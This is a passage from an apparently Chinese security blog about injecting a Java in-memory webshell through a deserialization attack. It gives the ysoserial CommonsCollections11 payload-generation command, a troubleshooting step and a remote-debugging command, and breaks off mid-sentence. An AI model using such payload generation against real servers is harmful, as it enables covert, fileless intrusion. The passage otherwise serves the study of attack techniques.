0x00 前言
实战中通过反序列化环境一步到位注入内存马,相比于之前介绍的agent或filter内存马需要上传文件到服务器,反序列化的好处是真正的无文件,只需要发一个包。
0x01 注入--初试错
我操作的步骤如下:
https://github.com/KpLi0rn/ysoserial
生成序列化载荷:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11 codefile:./TestAgentMain2.java
我想可能是TestAgentMain2.java 的问题,因为只有这个文件是自变量,于是我把这个文件清空,只保留:
public class TestAgentMain2 {
public static void main(String[] args) {}}
结果还是报错,所以需要对jar包调试。
0x02 yso jar包调试
IDEA 新建一个 Remote,
命令行运行:
java -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=y -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11 codefile:./TestAgentMain2.java
IDE